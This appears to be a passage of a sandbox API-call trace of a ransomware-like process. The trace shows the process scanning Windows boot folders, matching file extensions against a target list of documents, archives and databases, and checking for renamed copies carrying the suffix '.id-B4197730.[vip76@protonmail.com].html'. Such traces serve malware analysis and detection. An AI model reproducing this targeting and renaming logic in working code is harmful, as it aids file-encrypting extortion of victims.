	[0168.061] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29
	[0168.061] lstrlenW (lpString=".dbf") returned 4
	[0168.061] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0168.062] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29
	[0168.062] lstrlenW (lpString=".1cd") returned 4
	[0168.062] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0168.062] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29
	[0168.062] lstrlenW (lpString=".jpg") returned 4
	[0168.062] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0168.062] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29
	[0168.062] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29
	[0168.062] lstrlenW (lpString=".doc") returned 4
	[0168.062] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0168.062] lstrlenW (lpString=".docx") returned 5
	[0168.062] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0168.062] lstrlenW (lpString=".pdf") returned 4
	[0168.062] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0168.062] lstrlenW (lpString=".xls") returned 4
	[0168.062] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0168.062] lstrlenW (lpString=".xlsx") returned 5
	[0168.062] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0168.062] lstrlenW (lpString=".ppt") returned 4
	[0168.062] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0168.062] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29
	[0168.062] lstrlenW (lpString=".zip") returned 4
	[0168.062] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0168.062] lstrlenW (lpString=".rar") returned 4
	[0168.062] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0168.062] lstrlenW (lpString=".bz2") returned 4
	[0168.062] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0168.062] lstrlenW (lpString=".7z") returned 3
	[0168.062] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0168.062] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29
	[0168.062] lstrlenW (lpString=".dbf") returned 4
	[0168.063] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0168.063] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29
	[0168.063] lstrlenW (lpString=".1cd") returned 4
	[0168.063] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0168.063] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29
	[0168.063] lstrlenW (lpString=".jpg") returned 4
	[0168.063] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0168.063] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1
	[0168.063] lstrlenW (lpString="memtest.exe.mui") returned 15
	[0168.063] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\memtest.exe.mui" (normalized: "c:\\boot\\hu-hu\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434
	[0168.063] GetFileSizeEx (in: hFile=0x434, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=45976) returned 1
	[0168.063] CloseHandle (hObject=0x434) returned 1
	[0168.063] GetFileAttributesW (lpFileName="C:\\Boot\\hu-HU\\memtest.exe.mui" (normalized: "c:\\boot\\hu-hu\\memtest.exe.mui")) returned 0x20
	[0168.063] GetFileAttributesW (lpFileName="C:\\Boot\\hu-HU\\memtest.exe.mui.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\boot\\hu-hu\\memtest.exe.mui.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0168.064] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\memtest.exe.mui" (normalized: "c:\\boot\\hu-hu\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0168.064] lstrlenW (lpString="C:\\Boot\\hu-HU\\memtest.exe.mui") returned 29
	[0168.064] lstrlenW (lpString="C:\\Boot\\hu-HU\\memtest.exe.mui") returned 29
	[0168.064] lstrlenW (lpString=".doc") returned 4
	[0168.064] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0168.064] lstrlenW (lpString=".docx") returned 5
	[0168.064] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0168.064] lstrlenW (lpString=".pdf") returned 4
	[0168.064] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0168.064] lstrlenW (lpString=".xls") returned 4
	[0168.064] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0168.064] lstrlenW (lpString=".xlsx") returned 5
	[0168.064] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0168.064] lstrlenW (lpString=".ppt") returned 4
	[0168.064] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0168.064] lstrlenW (lpString="C:\\Boot\\hu-HU\\memtest.exe.mui") returned 29
	[0168.064] lstrlenW (lpString=".zip") returned 4
	[0168.064] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0168.064] lstrlenW (lpString=".rar") returned 4
	[0168.064] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0168.064] lstrlenW (lpString=".bz2") returned 4
	[0168.064] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0168.064] lstrlenW (lpString=".7z") returned 3
	[0168.064] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0168.064] lstrlenW (lpString="C:\\Boot\\hu-HU\\memtest.exe.mui") returned 29
	[0168.064] lstrlenW (lpString=".dbf") returned 4
	[0168.064] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0168.064] lstrlenW (lpString="C:\\Boot\\hu-HU\\memtest.exe.mui") returned 29
	[0168.064] lstrlenW (lpString=".1cd") returned 4
	[0168.065] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0168.065] lstrlenW (lpString="C:\\Boot\\hu-HU\\memtest.exe.mui") returned 29
	[0168.065] lstrlenW (lpString=".jpg") returned 4
	[0168.065] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0168.065] lstrlenW (lpString="C:\\Boot\\hu-HU\\memtest.exe.mui") returned 29
	[0168.065] lstrlenW (lpString="C:\\Boot\\hu-HU\\memtest.exe.mui") returned 29
	[0168.065] lstrlenW (lpString=".doc") returned 4
	[0168.065] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0168.065] lstrlenW (lpString=".docx") returned 5
	[0168.065] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0168.065] lstrlenW (lpString=".pdf") returned 4
	[0168.065] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0168.065] lstrlenW (lpString=".xls") returned 4
	[0168.065] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0168.065] lstrlenW (lpString=".xlsx") returned 5
	[0168.065] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0168.065] lstrlenW (lpString=".ppt") returned 4
	[0168.065] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0168.065] lstrlenW (lpString="C:\\Boot\\hu-HU\\memtest.exe.mui") returned 29
	[0168.065] lstrlenW (lpString=".zip") returned 4
	[0168.065] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0168.065] lstrlenW (lpString=".rar") returned 4
	[0168.065] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0168.065] lstrlenW (lpString=".bz2") returned 4
	[0168.065] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0168.065] lstrlenW (lpString=".7z") returned 3
	[0168.065] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0168.065] lstrlenW (lpString="C:\\Boot\\hu-HU\\memtest.exe.mui") returned 29
	[0168.065] lstrlenW (lpString=".dbf") returned 4
	[0168.065] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0168.065] lstrlenW (lpString="C:\\Boot\\hu-HU\\memtest.exe.mui") returned 29
	[0168.066] lstrlenW (lpString=".1cd") returned 4
	[0168.066] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0168.066] lstrlenW (lpString="C:\\Boot\\hu-HU\\memtest.exe.mui") returned 29
	[0168.066] lstrlenW (lpString=".jpg") returned 4
	[0168.066] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0168.066] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1
	[0168.066] lstrlenW (lpString="bootmgr.exe.mui") returned 15
	[0168.066] CreateFileW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434
	[0168.066] GetFileSizeEx (in: hFile=0x434, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=77144) returned 1
	[0168.066] CloseHandle (hObject=0x434) returned 1
	[0168.066] GetFileAttributesW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui")) returned 0x20
	[0168.066] GetFileAttributesW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0168.066] CreateFileW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0168.067] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29
	[0168.067] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29
	[0168.067] lstrlenW (lpString=".doc") returned 4
	[0168.067] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0168.067] lstrlenW (lpString=".docx") returned 5
	[0168.067] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0168.067] lstrlenW (lpString=".pdf") returned 4
	[0168.067] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0168.067] lstrlenW (lpString=".xls") returned 4
	[0168.067] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0168.067] lstrlenW (lpString=".xlsx") returned 5
	[0168.067] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0168.067] lstrlenW (lpString=".ppt") returned 4
	[0168.067] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0168.067] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29
	[0168.067] lstrlenW (lpString=".zip") returned 4
	[0168.067] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0168.067] lstrlenW (lpString=".rar") returned 4
	[0168.067] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0168.067] lstrlenW (lpString=".bz2") returned 4
	[0168.067] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0168.067] lstrlenW (lpString=".7z") returned 3
	[0168.067] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0168.067] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29
	[0168.067] lstrlenW (lpString=".dbf") returned 4
	[0168.067] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0168.067] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29
	[0168.067] lstrlenW (lpString=".1cd") returned 4
	[0168.067] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0168.067] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29
	[0168.067] lstrlenW (lpString=".jpg") returned 4
	[0168.067] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0168.068] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29
	[0168.068] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29
	[0168.068] lstrlenW (lpString=".doc") returned 4
	[0168.068] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0168.068] lstrlenW (lpString=".docx") returned 5
	[0168.068] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0168.068] lstrlenW (lpString=".pdf") returned 4
	[0168.068] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0168.068] lstrlenW (lpString=".xls") returned 4
	[0168.068] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0168.068] lstrlenW (lpString=".xlsx") returned 5
	[0168.068] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0168.068] lstrlenW (lpString=".ppt") returned 4
	[0168.068] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0168.068] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29
	[0168.068] lstrlenW (lpString=".zip") returned 4
	[0168.068] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0168.068] lstrlenW (lpString=".rar") returned 4
	[0168.068] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0168.068] lstrlenW (lpString=".bz2") returned 4
	[0168.068] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0168.068] lstrlenW (lpString=".7z") returned 3
	[0168.068] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0168.068] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29
	[0168.068] lstrlenW (lpString=".dbf") returned 4
	[0168.068] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0168.069] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29
	[0168.069] lstrlenW (lpString=".1cd") returned 4
	[0168.069] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0168.069] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29
	[0168.069] lstrlenW (lpString=".jpg") returned 4
	[0168.069] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0168.069] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1
	[0168.069] lstrlenW (lpString="memtest.exe.mui") returned 15
	[0168.069] CreateFileW (lpFileName="C:\\Boot\\it-IT\\memtest.exe.mui" (normalized: "c:\\boot\\it-it\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434
	[0168.069] GetFileSizeEx (in: hFile=0x434, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=45472) returned 1
	[0168.069] CloseHandle (hObject=0x434) returned 1
	[0168.069] GetFileAttributesW (lpFileName="C:\\Boot\\it-IT\\memtest.exe.mui" (normalized: "c:\\boot\\it-it\\memtest.exe.mui")) returned 0x20
	[0168.069] GetFileAttributesW (lpFileName="C:\\Boot\\it-IT\\memtest.exe.mui.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\boot\\it-it\\memtest.exe.mui.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0168.069] CreateFileW (lpFileName="C:\\Boot\\it-IT\\memtest.exe.mui" (normalized: "c:\\boot\\it-it\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0168.070] lstrlenW (lpString="C:\\Boot\\it-IT\\memtest.exe.mui") returned 29
	[0168.070] lstrlenW (lpString="C:\\Boot\\it-IT\\memtest.exe.mui") returned 29
	[0168.070] lstrlenW (lpString=".doc") returned 4
	[0168.070] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0168.070] lstrlenW (lpString=".docx") returned 5
	[0168.070] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0168.070] lstrlenW (lpString=".pdf") returned 4
	[0168.070] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0168.070] lstrlenW (lpString=".xls") returned 4
	[0168.070] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0168.070] lstrlenW (lpString=".xlsx") returned 5
	[0168.070] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0168.070] lstrlenW (lpString=".ppt") returned 4
	[0168.070] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0168.070] lstrlenW (lpString="C:\\Boot\\it-IT\\memtest.exe.mui") returned 29
	[0168.070] lstrlenW (lpString=".zip") returned 4
	[0168.070] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0168.070] lstrlenW (lpString=".rar") returned 4
	[0168.070] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0168.070] lstrlenW (lpString=".bz2") returned 4
	[0168.070] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0168.070] lstrlenW (lpString=".7z") returned 3
	[0168.070] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0168.070] lstrlenW (lpString="C:\\Boot\\it-IT\\memtest.exe.mui") returned 29
	[0168.070] lstrlenW (lpString=".dbf") returned 4
	[0168.070] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0168.070] lstrlenW (lpString="C:\\Boot\\it-IT\\memtest.exe.mui") returned 29
	[0168.070] lstrlenW (lpString=".1cd") returned 4
	[0168.071] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0168.071] lstrlenW (lpString="C:\\Boot\\it-IT\\memtest.exe.mui") returned 29
	[0168.071] lstrlenW (lpString=".jpg") returned 4
	[0168.071] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0168.071] lstrlenW (lpString="C:\\Boot\\it-IT\\memtest.exe.mui") returned 29
	[0168.071] lstrlenW (lpString="C:\\Boot\\it-IT\\memtest.exe.mui") returned 29
	[0168.071] lstrlenW (lpString=".doc") returned 4
	[0168.071] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0168.071] lstrlenW (lpString=".docx") returned 5
	[0168.071] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0168.071] lstrlenW (lpString=".pdf") returned 4
	[0168.071] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0168.071] lstrlenW (lpString=".xls") returned 4
	[0168.071] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0168.071] lstrlenW (lpString=".xlsx") returned 5
	[0168.071] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0168.071] lstrlenW (lpString=".ppt") returned 4
	[0168.071] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0168.071] lstrlenW (lpString="C:\\Boot\\it-IT\\memtest.exe.mui") returned 29
	[0168.071] lstrlenW (lpString=".zip") returned 4
	[0168.071] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0168.071] lstrlenW (lpString=".rar") returned 4
	[0168.071] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0168.071] lstrlenW (lpString=".bz2") returned 4
	[0168.071] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0168.071] lstrlenW (lpString=".7z") returned 3
	[0168.071] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0168.071] lstrlenW (lpString="C:\\Boot\\it-IT\\memtest.exe.mui") returned 29
	[0168.071] lstrlenW (lpString=".dbf") returned 4
	[0168.072] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0168.072] lstrlenW (lpString="C:\\Boot\\it-IT\\memtest.exe.mui") returned 29
	[0168.072] lstrlenW (lpString=".1cd") returned 4
	[0168.072] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0168.072] lstrlenW (lpString="C:\\Boot\\it-IT\\memtest.exe.mui") returned 29
	[0168.072] lstrlenW (lpString=".jpg") returned 4
	[0168.072] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0168.072] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1
	[0168.072] lstrlenW (lpString="bootmgr.exe.mui") returned 15
	[0168.072] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434
	[0168.072] GetFileSizeEx (in: hFile=0x434, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=67424) returned 1
	[0168.072] CloseHandle (hObject=0x434) returned 1
	[0168.072] GetFileAttributesW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui")) returned 0x20
	[0168.072] GetFileAttributesW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0168.072] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0168.073] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29
	[0168.073] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29
	[0168.073] lstrlenW (lpString=".doc") returned 4
	[0168.073] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0168.073] lstrlenW (lpString=".docx") returned 5
	[0168.073] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0168.073] lstrlenW (lpString=".pdf") returned 4
	[0168.073] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0168.073] lstrlenW (lpString=".xls") returned 4
	[0168.073] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0168.073] lstrlenW (lpString=".xlsx") returned 5
	[0168.073] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0168.073] lstrlenW (lpString=".ppt") returned 4
	[0168.073] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0168.073] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29
	[0168.073] lstrlenW (lpString=".zip") returned 4
	[0168.073] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0168.073] lstrlenW (lpString=".rar") returned 4
	[0168.073] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0168.073] lstrlenW (lpString=".bz2") returned 4
	[0168.073] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0168.073] lstrlenW (lpString=".7z") returned 3
	[0168.073] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0168.073] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29
	[0168.073] lstrlenW (lpString=".dbf") returned 4
	[0168.073] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0168.073] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29
	[0168.073] lstrlenW (lpString=".1cd") returned 4
	[0168.074] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0168.074] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29
	[0168.074] lstrlenW (lpString=".jpg") returned 4
	[0168.074] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0168.074] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29
	[0168.074] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29
	[0168.074] lstrlenW (lpString=".doc") returned 4
	[0168.074] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0168.074] lstrlenW (lpString=".docx") returned 5
	[0168.074] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0168.074] lstrlenW (lpString=".pdf") returned 4
	[0168.074] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0168.074] lstrlenW (lpString=".xls") returned 4
	[0168.074] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0168.074] lstrlenW (lpString=".xlsx") returned 5
	[0168.074] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0168.074] lstrlenW (lpString=".ppt") returned 4
	[0168.074] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0168.074] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29
	[0168.074] lstrlenW (lpString=".zip") returned 4
	[0168.074] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0168.074] lstrlenW (lpString=".rar") returned 4
	[0168.074] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0168.074] lstrlenW (lpString=".bz2") returned 4
	[0168.074] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0168.074] lstrlenW (lpString=".7z") returned 3
	[0168.074] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0168.074] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29
	[0168.074] lstrlenW (lpString=".dbf") returned 4
	[0168.074] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0168.074] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29
	[0168.074] lstrlenW (lpString=".1cd") returned 4
	[0168.075] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0168.075] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29
	[0168.075] lstrlenW (lpString=".jpg") returned 4
	[0168.075] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0168.075] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1
	[0168.075] lstrlenW (lpString="memtest.exe.mui") returned 15
	[0168.075] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\memtest.exe.mui" (normalized: "c:\\boot\\ja-jp\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434
	[0168.075] GetFileSizeEx (in: hFile=0x434, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=42904) returned 1
	[0168.075] CloseHandle (hObject=0x434) returned 1
	[0168.076] GetFileAttributesW (lpFileName="C:\\Boot\\ja-JP\\memtest.exe.mui" (normalized: "c:\\boot\\ja-jp\\memtest.exe.mui")) returned 0x20
	[0168.076] GetFileAttributesW (lpFileName="C:\\Boot\\ja-JP\\memtest.exe.mui.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\boot\\ja-jp\\memtest.exe.mui.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0168.077] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\memtest.exe.mui" (normalized: "c:\\boot\\ja-jp\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0168.077] lstrlenW (lpString="C:\\Boot\\ja-JP\\memtest.exe.mui") returned 29
	[0168.077] lstrlenW (lpString="C:\\Boot\\ja-JP\\memtest.exe.mui") returned 29
	[0168.077] lstrlenW (lpString=".doc") returned 4
	[0168.077] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0168.077] lstrlenW (lpString=".docx") returned 5
	[0168.077] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0168.077] lstrlenW (lpString=".pdf") returned 4
	[0168.077] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0168.077] lstrlenW (lpString=".xls") returned 4
	[0168.077] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0168.077] lstrlenW (lpString=".xlsx") returned 5
